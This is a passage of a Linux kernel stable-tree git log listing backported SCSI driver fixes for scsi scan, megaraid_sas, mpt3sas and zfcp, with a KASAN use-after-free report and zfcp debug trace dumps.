            scsi 0:0:2:0: scsi scan: INQUIRY pass 1 length 36
            scsi 0:0:2:0: scsi scan: INQUIRY successful with code 0x0
            scsi 0:0:2:0: scsi scan: peripheral device type of 31, no device added
            BUG: KASAN: use-after-free in __scsi_scan_target+0xbf8/0xe40 at addr ffff88007b44a104
    
    This patch fixes the issue by moving the putting reference at
    the end of scsi_report_lun_scan().
    
    [1] KASAN report
    ==================================================================
    [    3.274597] PM: Adding info for serio:serio1
    [    3.275127] BUG: KASAN: use-after-free in __scsi_scan_target+0xd87/0xdf0 at addr ffff880254d8c304
    [    3.275653] Read of size 4 by task kworker/u10:0/27
    [    3.275903] CPU: 3 PID: 27 Comm: kworker/u10:0 Not tainted 4.8.0 #2121
    [    3.276258] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
    [    3.276797] Workqueue: events_unbound async_run_entry_fn
    [    3.277083]  ffff880254d8c380 ffff880259a37870 ffffffff94bbc6c1 ffff880078402d80
    [    3.277532]  ffff880254d8bb80 ffff880259a37898 ffffffff9459fec1 ffff880259a37930
    [    3.277989]  ffff880254d8bb80 ffff880078402d80 ffff880259a37920 ffffffff945a0165
    [    3.278436] Call Trace:
    [    3.278528]  [<ffffffff94bbc6c1>] dump_stack+0x65/0x84
    [    3.278797]  [<ffffffff9459fec1>] kasan_object_err+0x21/0x70
    [    3.279063] device: 'psaux': device_add
    [    3.279616]  [<ffffffff945a0165>] kasan_report_error+0x205/0x500
    [    3.279651] PM: Adding info for No Bus:psaux
    [    3.280202]  [<ffffffff944ecd22>] ? kfree_const+0x22/0x30
    [    3.280486]  [<ffffffff94bc2dc9>] ? kobject_release+0x119/0x370
    [    3.280805]  [<ffffffff945a0543>] __asan_report_load4_noabort+0x43/0x50
    [    3.281170]  [<ffffffff9507e1f7>] ? __scsi_scan_target+0xd87/0xdf0
    [    3.281506]  [<ffffffff9507e1f7>] __scsi_scan_target+0xd87/0xdf0
    [    3.281848]  [<ffffffff9507d470>] ? scsi_add_device+0x30/0x30
    [    3.282156]  [<ffffffff94f7f660>] ? pm_runtime_autosuspend_expiration+0x60/0x60
    [    3.282570]  [<ffffffff956ddb07>] ? _raw_spin_lock+0x17/0x40
    [    3.282880]  [<ffffffff9507e505>] scsi_scan_channel+0x105/0x160
    [    3.283200]  [<ffffffff9507e8a2>] scsi_scan_host_selected+0x212/0x2f0
    [    3.283563]  [<ffffffff9507eb3c>] do_scsi_scan_host+0x1bc/0x250
    [    3.283882]  [<ffffffff9507efc1>] do_scan_async+0x41/0x450
    [    3.284173]  [<ffffffff941c1fee>] async_run_entry_fn+0xfe/0x610
    [    3.284492]  [<ffffffff941a8954>] ? pwq_dec_nr_in_flight+0x124/0x2a0
    [    3.284876]  [<ffffffff941d1770>] ? preempt_count_add+0x130/0x160
    [    3.285207]  [<ffffffff941a9a84>] process_one_work+0x544/0x12d0
    [    3.285526]  [<ffffffff941aa8e9>] worker_thread+0xd9/0x12f0
    [    3.285844]  [<ffffffff941aa810>] ? process_one_work+0x12d0/0x12d0
    [    3.286182]  [<ffffffff941bb365>] kthread+0x1c5/0x260
    [    3.286443]  [<ffffffff940855cd>] ? __switch_to+0x88d/0x1430
    [    3.286745]  [<ffffffff941bb1a0>] ? kthread_worker_fn+0x5a0/0x5a0
    [    3.287085]  [<ffffffff956dde9f>] ret_from_fork+0x1f/0x40
    [    3.287368]  [<ffffffff941bb1a0>] ? kthread_worker_fn+0x5a0/0x5a0
    [    3.287697] Object at ffff880254d8bb80, in cache kmalloc-2048 size: 2048
    [    3.288064] Allocated:
    [    3.288147] PID = 27
    [    3.288218]  [<ffffffff940b27ab>] save_stack_trace+0x2b/0x50
    [    3.288531]  [<ffffffff9459f246>] save_stack+0x46/0xd0
    [    3.288806]  [<ffffffff9459f4bd>] kasan_kmalloc+0xad/0xe0
    [    3.289098]  [<ffffffff9459c07e>] __kmalloc+0x13e/0x250
    [    3.289378]  [<ffffffff95078e5a>] scsi_alloc_sdev+0xea/0xcf0
    [    3.289701]  [<ffffffff9507de76>] __scsi_scan_target+0xa06/0xdf0
    [    3.290034]  [<ffffffff9507e505>] scsi_scan_channel+0x105/0x160
    [    3.290362]  [<ffffffff9507e8a2>] scsi_scan_host_selected+0x212/0x2f0
    [    3.290724]  [<ffffffff9507eb3c>] do_scsi_scan_host+0x1bc/0x250
    [    3.291055]  [<ffffffff9507efc1>] do_scan_async+0x41/0x450
    [    3.291354]  [<ffffffff941c1fee>] async_run_entry_fn+0xfe/0x610
    [    3.291695]  [<ffffffff941a9a84>] process_one_work+0x544/0x12d0
    [    3.292022]  [<ffffffff941aa8e9>] worker_thread+0xd9/0x12f0
    [    3.292325]  [<ffffffff941bb365>] kthread+0x1c5/0x260
    [    3.292594]  [<ffffffff956dde9f>] ret_from_fork+0x1f/0x40
    [    3.292886] Freed:
    [    3.292945] PID = 27
    [    3.293016]  [<ffffffff940b27ab>] save_stack_trace+0x2b/0x50
    [    3.293327]  [<ffffffff9459f246>] save_stack+0x46/0xd0
    [    3.293600]  [<ffffffff9459fa61>] kasan_slab_free+0x71/0xb0
    [    3.293916]  [<ffffffff9459bac2>] kfree+0xa2/0x1f0
    [    3.294168]  [<ffffffff9508158a>] scsi_device_dev_release_usercontext+0x50a/0x730
    [    3.294598]  [<ffffffff941ace9a>] execute_in_process_context+0xda/0x130
    [    3.294974]  [<ffffffff9508107c>] scsi_device_dev_release+0x1c/0x20
    [    3.295322]  [<ffffffff94f566f6>] device_release+0x76/0x1e0
    [    3.295626]  [<ffffffff94bc2db7>] kobject_release+0x107/0x370
    [    3.295942]  [<ffffffff94bc29ce>] kobject_put+0x4e/0xa0
    [    3.296222]  [<ffffffff94f56e17>] put_device+0x17/0x20
    [    3.296497]  [<ffffffff9505201c>] scsi_device_put+0x7c/0xa0
    [    3.296801]  [<ffffffff9507e1bc>] __scsi_scan_target+0xd4c/0xdf0
    [    3.297132]  [<ffffffff9507e505>] scsi_scan_channel+0x105/0x160
    [    3.297458]  [<ffffffff9507e8a2>] scsi_scan_host_selected+0x212/0x2f0
    [    3.297829]  [<ffffffff9507eb3c>] do_scsi_scan_host+0x1bc/0x250
    [    3.298156]  [<ffffffff9507efc1>] do_scan_async+0x41/0x450
    [    3.298453]  [<ffffffff941c1fee>] async_run_entry_fn+0xfe/0x610
    [    3.298777]  [<ffffffff941a9a84>] process_one_work+0x544/0x12d0
    [    3.299105]  [<ffffffff941aa8e9>] worker_thread+0xd9/0x12f0
    [    3.299408]  [<ffffffff941bb365>] kthread+0x1c5/0x260
    [    3.299676]  [<ffffffff956dde9f>] ret_from_fork+0x1f/0x40
    [    3.299967] Memory state around the buggy address:
    [    3.300209]  ffff880254d8c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    [    3.300608]  ffff880254d8c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    [    3.300986] >ffff880254d8c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    [    3.301408]                    ^
    [    3.301550]  ffff880254d8c380: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
    [    3.301987]  ffff880254d8c400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    [    3.302396]
    ==================================================================
    
    Cc: Christoph Hellwig <hch@lst.de>
    Signed-off-by: Ming Lei <tom.leiming@gmail.com>
    Reviewed-by: Christoph Hellwig <hch@lst.de>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit f6e64a44939b18507ba44877eb6bb2c69cfadc2d
Author: Brian King <brking@linux.vnet.ibm.com>
Date:   Mon Sep 19 08:59:19 2016 -0500

    scsi: ibmvfc: Fix I/O hang when port is not mapped
    
    commit 07d0e9a847401ffd2f09bd450d41644cd090e81d upstream.
    
    If a VFC port gets unmapped in the VIOS, it may not respond with a CRQ
    init complete following H_REG_CRQ. If this occurs, we can end up having
    called scsi_block_requests and not a resulting unblock until the init
    complete happens, which may never occur, and we end up hanging I/O
    requests.  This patch ensures the host action stay set to
    IBMVFC_HOST_ACTION_TGT_DEL so we move all rports into devloss state and
    unblock unless we receive an init complete.
    
    Signed-off-by: Brian King <brking@linux.vnet.ibm.com>
    Acked-by: Tyrel Datwyler <tyreld@linux.vnet.ibm.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit bb3445f8b33687172a5f82c3be777ef1dc1637db
Author: Sumit Saxena <sumit.saxena@broadcom.com>
Date:   Wed Nov 9 02:59:42 2016 -0800

    scsi: megaraid_sas: fix macro MEGASAS_IS_LOGICAL to avoid regression
    
    commit 5e5ec1759dd663a1d5a2f10930224dd009e500e8 upstream.
    
    This patch will fix regression caused by commit 1e793f6fc0db ("scsi:
    megaraid_sas: Fix data integrity failure for JBOD (passthrough)
    devices").
    
    The problem was that the MEGASAS_IS_LOGICAL macro did not have braces
    and as a result the driver ended up exposing a lot of non-existing SCSI
    devices (all SCSI commands to channels 1,2,3 were returned as
    SUCCESS-DID_OK by driver).
    
    [mkp: clarified patch description]
    
    Fixes: 1e793f6fc0db920400574211c48f9157a37e3945
    Reported-by: Jens Axboe <axboe@kernel.dk>
    Signed-off-by: Kashyap Desai <kashyap.desai@broadcom.com>
    Signed-off-by: Sumit Saxena <sumit.saxena@broadcom.com>
    Tested-by: Sumit Saxena <sumit.saxena@broadcom.com>
    Reviewed-by: Tomas Henzl <thenzl@redhat.com>
    Tested-by: Jens Axboe <axboe@fb.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 00360043a132da6d3870a1ea692ae1a5f5182eb8
Author: Kashyap Desai <kashyap.desai@broadcom.com>
Date:   Fri Oct 21 06:33:32 2016 -0700

    scsi: megaraid_sas: Fix data integrity failure for JBOD (passthrough) devices
    
    commit 1e793f6fc0db920400574211c48f9157a37e3945 upstream.
    
    Commit 02b01e010afe ("megaraid_sas: return sync cache call with
    success") modified the driver to successfully complete SYNCHRONIZE_CACHE
    commands without passing them to the controller. Disk drive caches are
    only explicitly managed by controller firmware when operating in RAID
    mode. So this commit effectively disabled writeback cache flushing for
    any drives used in JBOD mode, leading to data integrity failures.
    
    [mkp: clarified patch description]
    
    Fixes: 02b01e010afeeb49328d35650d70721d2ca3fd59
    Signed-off-by: Kashyap Desai <kashyap.desai@broadcom.com>
    Signed-off-by: Sumit Saxena <sumit.saxena@broadcom.com>
    Reviewed-by: Tomas Henzl <thenzl@redhat.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Reviewed-by: Ewan D. Milne <emilne@redhat.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0ae497609a677f4929cab8bf0f8d81a1d7c27438
Author: Andrey Grodzovsky <andrey2805@gmail.com>
Date:   Wed Nov 16 20:15:08 2016 -0500

    mpt2sas: Fix secure erase premature termination
    
    Problem:
    This is a work around for a bug with LSI Fusion MPT SAS2 when
    pefroming secure erase. Due to the very long time the operation
    takes commands issued during the erase will time out and will trigger
    execution of abort hook. Even though the abort hook is called for
    the specific command which timed out this leads to entire device halt
    (scsi_state terminated) and premature termination of the secured erase.
    
    Fix:
    Set device state to busy while erase in progress to reject any incoming
    commands until the erase is done. The device is blocked any way during
    this time and cannot execute any other command.
    More data and logs can be found here -
    https://drive.google.com/file/d/0B9ocOHYHbbS1Q3VMdkkzeWFkTjg/view
    
    P.S
    This is a backport from the same fix for mpt3sas driver intended
    for pre-4.4 stable trees.
    
    Signed-off-by: Andrey Grodzovsky <andrey2805@gmail.com>
    Cc: Sreekanth Reddy <Sreekanth.Reddy@broadcom.com>
    Cc: Hannes Reinecke <hare@suse.de>
    Cc: PDL-MPT-FUSIONLINUX <MPT-FusionLinux.pdl@broadcom.com>
    Cc: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit dafa91f73fead65f927e3ac395b096c72804baf5
Author: James Bottomley <James.Bottomley@HansenPartnership.com>
Date:   Sun Jan 1 09:39:24 2017 -0800

    scsi: mpt3sas: fix hang on ata passthrough commands
    
    commit ffb58456589443ca572221fabbdef3db8483a779 upstream.
    
    mpt3sas has a firmware failure where it can only handle one pass through
    ATA command at a time.  If another comes in, contrary to the SAT
    standard, it will hang until the first one completes (causing long
    commands like secure erase to timeout).  The original fix was to block
    the device when an ATA command came in, but this caused a regression
    with
    
    commit 669f044170d8933c3d66d231b69ea97cb8447338
    Author: Bart Van Assche <bart.vanassche@sandisk.com>
    Date:   Tue Nov 22 16:17:13 2016 -0800
    
        scsi: srp_transport: Move queuecommand() wait code to SCSI core
    
    So fix the original fix of the secure erase timeout by properly
    returning SAM_STAT_BUSY like the SAT recommends.  The original patch
    also had a concurrency problem since scsih_qcmd is lockless at that
    point (this is fixed by using atomic bitops to set and test the flag).
    
    [mkp: addressed feedback wrt. test_bit and fixed whitespace]
    
    Fixes: 18f6084a989ba1b (mpt3sas: Fix secure erase premature termination)
    Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
    Acked-by: Sreekanth Reddy <Sreekanth.Reddy@broadcom.com>
    Reviewed-by: Christoph Hellwig <hch@lst.de>
    Reported-by: Ingo Molnar <mingo@kernel.org>
    Tested-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    [wt: adjust context]
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit d99fcf7d29f8fc89d99bee4a4c20ae7c8bf5586c
Author: Suganath Prabu S <suganath-prabu.subramani@broadcom.com>
Date:   Thu Nov 17 16:15:58 2016 +0530

    scsi: mpt3sas: Unblock device after controller reset
    
    commit 7ff723ad0f87feba43dda45fdae71206063dd7d4 upstream.
    
    While issuing any ATA passthrough command to firmware the driver will
    block the device. But it will unblock the device only if the I/O
    completes through the ISR path. If a controller reset occurs before
    command completion the device will remain in blocked state.
    
    Make sure we unblock the device following a controller reset if an ATA
    passthrough command was queued.
    
    [mkp: clarified patch description]
    
    Cc: <stable@vger.kernel.org> # v4.4+
    Fixes: ac6c2a93bd07 ("mpt3sas: Fix for SATA drive in blocked state, after diag reset")
    Signed-off-by: Suganath Prabu S <suganath-prabu.subramani@broadcom.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    [wt: adjust context]
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3a0c14e01a0c768725eff3a1e068ab7760339f5e
Author: Andrey Grodzovsky <andrey2805@gmail.com>
Date:   Thu Nov 10 09:35:27 2016 -0500

    scsi: mpt3sas: Fix secure erase premature termination
    
    commit 18f6084a989ba1b38702f9af37a2e4049a924be6 upstream.
    
    This is a work around for a bug with LSI Fusion MPT SAS2 when perfoming
    secure erase. Due to the very long time the operation takes, commands
    issued during the erase will time out and will trigger execution of the
    abort hook. Even though the abort hook is called for the specific
    command which timed out, this leads to entire device halt
    (scsi_state terminated) and premature termination of the secure erase.
    
    Set device state to busy while ATA passthrough commands are in progress.
    
    [mkp: hand applied to 4.9/scsi-fixes, tweaked patch description]
    
    Signed-off-by: Andrey Grodzovsky <andrey2805@gmail.com>
    Acked-by: Sreekanth Reddy <Sreekanth.Reddy@broadcom.com>
    Cc: <linux-scsi@vger.kernel.org>
    Cc: Sathya Prakash <sathya.prakash@broadcom.com>
    Cc: Chaitra P B <chaitra.basappa@broadcom.com>
    Cc: Suganath Prabu Subramani <suganath-prabu.subramani@broadcom.com>
    Cc: Sreekanth Reddy <Sreekanth.Reddy@broadcom.com>
    Cc: Hannes Reinecke <hare@suse.de>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7ddb258493e5e3bb20a72f6054b8073d6bb2cdee
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Fri Oct 14 16:18:39 2016 -0400

    scsi: zfcp: spin_lock_irqsave() is not nestable
    
    commit e7cb08e894a0b876443ef8fdb0706575dc00a5d2 upstream.
    
    We accidentally overwrite the original saved value of "flags" so that we
    can't re-enable IRQs at the end of the function.  Presumably this
    function is mostly called with IRQs disabled or it would be obvious in
    testing.
    
    Fixes: aceeffbb59bb ("zfcp: trace full payload of all SAN records (req,resp,iels)")
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit beb0b6c9a7903cbee112258181a5bc9b5b6a1554
Author: Steffen Maier <maier@linux.vnet.ibm.com>
Date:   Wed Aug 10 18:30:53 2016 +0200

    zfcp: trace full payload of all SAN records (req,resp,iels)
    
    commit aceeffbb59bb91404a0bda32a542d7ebf878433a upstream.
    
    This was lost with commit 2c55b750a884b86dea8b4cc5f15e1484cc47a25c
    ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.")
    but is necessary for problem determination, e.g. to see the
    currently active zone set during automatic port scan.
    
    For the large GPN_FT response (4 pages), save space by not dumping
    any empty residual entries.
    
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Fixes: 2c55b750a884 ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.")
    Reviewed-by: Alexey Ishchuk <aishchuk@linux.vnet.ibm.com>
    Reviewed-by: Benjamin Block <bblock@linux.vnet.ibm.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 569816b4a0411d11c2aac1c876c77e6d4292fd47
Author: Steffen Maier <maier@linux.vnet.ibm.com>
Date:   Wed Aug 10 18:30:52 2016 +0200

    zfcp: fix payload trace length for SAN request&response
    
    commit 94db3725f049ead24c96226df4a4fb375b880a77 upstream.
    
    commit 2c55b750a884b86dea8b4cc5f15e1484cc47a25c
    ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.")
    started to add FC_CT_HDR_LEN which made zfcp dump random data
    out of bounds for RSPN GS responses because u.rspn.rsp
    is the largest and last field in the union of struct zfcp_fc_req.
    Other request/response types only happened to stay within bounds
    due to the padding of the union or
    due to the trace capping of u.gspn.rsp to ZFCP_DBF_SAN_MAX_PAYLOAD.
    
    Timestamp      : ...
    Area           : SAN
    Subarea        : 00
    Level          : 1
    Exception      : -
    CPU id         : ..
    Caller         : ...
    Record id      : 2
    Tag            : fsscth2
    Request id     : 0x...
    Destination ID : 0x00fffffc
    Payload short  : 01000000 fc020000 80020000 00000000
                     xxxxxxxx xxxxxxxx xxxxxxxx xxxxxxxx <===
                     00000000 00000000 00000000 00000000
    Payload length : 32                                  <===
    
    struct zfcp_fc_req {
        [0] struct zfcp_fsf_ct_els ct_els;
       [56] struct scatterlist sg_req;
       [96] struct scatterlist sg_rsp;
            union {
                struct {req; rsp;} adisc;    SIZE: 28+28=   56
                struct {req; rsp;} gid_pn;   SIZE: 24+20=   44
                struct {rspsg; req;} gpn_ft; SIZE: 40*4+20=180
                struct {req; rsp;} gspn;     SIZE: 20+273= 293
                struct {req; rsp;} rspn;     SIZE: 277+16= 293
      [136] } u;
    }
    SIZE: 432
    
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Fixes: 2c55b750a884 ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.")
    Reviewed-by: Alexey Ishchuk <aishchuk@linux.vnet.ibm.com>
    Reviewed-by: Benjamin Block <bblock@linux.vnet.ibm.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 46737af60bbf90efbc66b80b3824fbf9b2e20d4e
Author: Steffen Maier <maier@linux.vnet.ibm.com>
Date:   Wed Aug 10 18:30:51 2016 +0200

    zfcp: fix D_ID field with actual value on tracing SAN responses
    
    commit 771bf03537ddfa4a4dde62ef9dfbc82e4f77ab20 upstream.
    
    With commit 2c55b750a884b86dea8b4cc5f15e1484cc47a25c
    ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.")
    we lost the N_Port-ID where an ELS response comes from.
    With commit 7c7dc196814b9e1d5cc254dc579a5fa78ae524f7
    ("[SCSI] zfcp: Simplify handling of ct and els requests")
    we lost the N_Port-ID where a CT response comes from.
    It's especially useful if the request SAN trace record
    with D_ID was already lost due to trace buffer wrap.
    
    GS uses an open WKA port handle and ELS just a D_ID, and
    only for ELS we could get D_ID from QTCB bottom via zfcp_fsf_req.
    To cover both cases, add a new field to zfcp_fsf_ct_els
    and fill it in on request to use in SAN response trace.
    Strictly speaking the D_ID on SAN response is the FC frame's S_ID.
    We don't need a field for the other end which is always us.
    
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Fixes: 2c55b750a884 ("[SCSI] zfcp: Redesign of the debug tracing for SAN records.")
    Fixes: 7c7dc196814b ("[SCSI] zfcp: Simplify handling of ct and els requests")
    Reviewed-by: Benjamin Block <bblock@linux.vnet.ibm.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 8467dd468cd5b422e6f26567984b3241bfe3b07e
Author: Steffen Maier <maier@linux.vnet.ibm.com>
Date:   Wed Aug 10 18:30:50 2016 +0200

    zfcp: restore tracing of handle for port and LUN with HBA records
    
    commit 7c964ffe586bc0c3d9febe9bf97a2e4b2866e5b7 upstream.
    
    This information was lost with
    commit a54ca0f62f953898b05549391ac2a8a4dad6482b
    ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.")
    but is required to debug e.g. invalid handle situations.
    
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Fixes: a54ca0f62f95 ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.")
    Reviewed-by: Benjamin Block <bblock@linux.vnet.ibm.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 69169095719608196f75eff1d57f22cb38817e48
Author: Steffen Maier <maier@linux.vnet.ibm.com>
Date:   Wed Aug 10 18:30:49 2016 +0200

    zfcp: trace on request for open and close of WKA port
    
    commit d27a7cb91960cf1fdd11b10071e601828cbf4b1f upstream.
    
    Since commit a54ca0f62f953898b05549391ac2a8a4dad6482b
    ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.")
    HBA records no longer contain WWPN, D_ID, or LUN
    to reduce duplicate information which is already in REC records.
    In contrast to "regular" target ports, we don't use recovery to open
    WKA ports such as directory/nameserver, so we don't get REC records.
    Therefore, introduce pseudo REC running records without any
    actual recovery action but including D_ID of WKA port on open/close.
    
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Fixes: a54ca0f62f95 ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.")
    Reviewed-by: Benjamin Block <bblock@linux.vnet.ibm.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 053077252df5beb5109d32904de4830e78e8eaa0
Author: Steffen Maier <maier@linux.vnet.ibm.com>
Date:   Wed Aug 10 18:30:48 2016 +0200

    zfcp: restore: Dont use 0 to indicate invalid LUN in rec trace
    
    commit 0102a30a6ff60f4bb4c07358ca3b1f92254a6c25 upstream.
    
    bring back
    commit d21e9daa63e009ce5b87bbcaa6d11ce48e07bbbe
    ("[SCSI] zfcp: Dont use 0 to indicate invalid LUN in rec trace")
    which was lost with
    commit ae0904f60fab7cb20c48d32eefdd735e478b91fb
    ("[SCSI] zfcp: Redesign of the debug tracing for recovery actions.")
    
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Fixes: ae0904f60fab ("[SCSI] zfcp: Redesign of the debug tracing for recovery actions.")
    Reviewed-by: Benjamin Block <bblock@linux.vnet.ibm.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 909987d41f751b873d84be1df7ae0c4dea394221
Author: Steffen Maier <maier@linux.vnet.ibm.com>
Date:   Wed Aug 10 18:30:47 2016 +0200

    zfcp: retain trace level for SCSI and HBA FSF response records
    
    commit 35f040df97fa0e94c7851c054ec71533c88b4b81 upstream.
    
    While retaining the actual filtering according to trace level,
    the following commits started to write such filtered records
    with a hardcoded record level of 1 instead of the actual record level:
    commit 250a1352b95e1db3216e5c5d4f4365bea5122f4a
    ("[SCSI] zfcp: Redesign of the debug tracing for SCSI records.")
    commit a54ca0f62f953898b05549391ac2a8a4dad6482b
    ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.")
    
    Now we can distinguish written records again for offline level filtering.
    
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Fixes: 250a1352b95e ("[SCSI] zfcp: Redesign of the debug tracing for SCSI records.")
    Fixes: a54ca0f62f95 ("[SCSI] zfcp: Redesign of the debug tracing for HBA records.")
    Reviewed-by: Benjamin Block <bblock@linux.vnet.ibm.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit efaebcb4aca935079fae695488217291ece9f512
Author: Steffen Maier <maier@linux.vnet.ibm.com>
Date:   Wed Aug 10 18:30:46 2016 +0200

    zfcp: close window with unblocked rport during rport gone
    
    commit 4eeaa4f3f1d6c47b69f70e222297a4df4743363e upstream.
    
    On a successful end of reopen port forced,
    zfcp_erp_strategy_followup_success() re-uses the port erp_action
    and the subsequent zfcp_erp_action_cleanup() now
    sees ZFCP_ERP_SUCCEEDED with
    erp_action->action==ZFCP_ERP_ACTION_REOPEN_PORT
    instead of ZFCP_ERP_ACTION_REOPEN_PORT_FORCED
    but must not perform zfcp_scsi_schedule_rport_register().
    
    We can detect this because the fresh port reopen erp_action
    is in its very first step ZFCP_ERP_STEP_UNINITIALIZED.
    
    Otherwise this opens a time window with unblocked rport
    (until the followup port reopen recovery would block it again).
    If a scsi_cmnd timeout occurs during this time window
    fc_timed_out() cannot work as desired and such command
    would indeed time out and trigger scsi_eh. This prevents
    a clean and timely path failover.
    This should not happen if the path issue can be recovered
    on FC transport layer such as path issues involving RSCNs.
    
    Also, unnecessary and repeated DID_IMM_RETRY for pending and
    undesired new requests occur because internally zfcp still
    has its zfcp_port blocked.
    
    As follow-on errors with scsi_eh, it can cause,
    in the worst case, permanently lost paths due to one of:
    sd <scsidev>: [<scsidisk>] Medium access timeout failure. Offlining disk!
    sd <scsidev>: Device offlined - not ready after error recovery
    
    For fix validation and to aid future debugging with other recoveries
    we now also trace (un)blocking of rports.
    
    Signed-off-by: Steffen Maier <maier@linux.vnet.ibm.com>
    Fixes: 5767620c383a ("[SCSI] zfcp: Do not unblock rport from REOPEN_PORT_FORCED")
    Fixes: a2fa0aede07c ("[SCSI] zfcp: Block FC transport rports early on errors")
    Fixes: 5f852be9e11d ("[SCSI] zfcp: Fix deadlock between zfcp ERP and SCSI")
    Fixes: 338151e06608 ("[SCSI] zfcp: make use of fc_remote_port_delete when target port is unavailable")
    Fixes: 3859f6a248cb ("[PATCH] zfcp: add rports to enable scsi_add_device to work again")
    Reviewed-by: Benjamin Block <bblock@linux.vnet.ibm.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5f62704e887f04759e29870546895b0417391a80
Author: Steffen Maier <maier@linux.vnet.ibm.com>
Date:   Wed Aug 10 18:30:45 2016 +0200

    zfcp: fix ELS/GS request&response length for hardware data router
    
    commit 70369f8e15b220f50a16348c79a61d3f7054813c upstream.
    
    In the hardware data router case, introduced with kernel 3.2
    commit 86a9668a8d29 ("[SCSI] zfcp: support for hardware data router")
    the ELS/GS request&response length needs to be initialized
    as in the chained SBAL case.
    
    Otherwise, the FCP channel rejects ELS requests with
    FSF_REQUEST_SIZE_TOO_LARGE.
    
    Such ELS requests can be issued by user space through BSG / HBA API,
    or zfcp itself uses ADISC ELS for remote port link test on RSCN.
    The latter can cause a short path outage due to
    unnecessary remote target port recovery because the always
    failing ADISC cannot detect extremely short path interruptions
    beyond the local FCP channel.
    
    Below example is decoded with zfcpdbf from s390-tools:
    
    Timestamp      : ...
    Area           : SAN
    Subarea        : 00
    Level          : 1
    Exception      : -
    CPU id         : ..
    Caller         : zfcp_dbf_san_req+0408
    Record id      : 1
    Tag            : fssels1
    Request id     : 0x<reqid>
    Destination ID : 0x00<target d_id>
    Payload info   : 52000000 00000000 <our wwpn       >           [ADISC]
                     <our wwnn       > 00<s_id> 00000000
                     00000000 00000000 00000000 00000000
    
    Timestamp      : ...
    Area           : HBA
    Subarea        : 00
    Level          : 1
    Exception      : -
    CPU id         : ..
    Caller         : zfcp_dbf_hba_fsf_res+0740
    Record id      : 1
    Tag            : fs_ferr
    Request id     : 0x<reqid>
    Request status : 0x00000010
    FSF cmnd       : 0x0000000b               [FSF_QTCB_SEND_ELS]
    FSF sequence no: 0x...
    FSF issued     : ...
    FSF stat       : 0x00000061               [FSF_REQUEST_SIZE_TOO_LARGE]
    FSF stat qual  : 00000000 00000000 00000000 00000000
    Prot stat      : 0x00000100
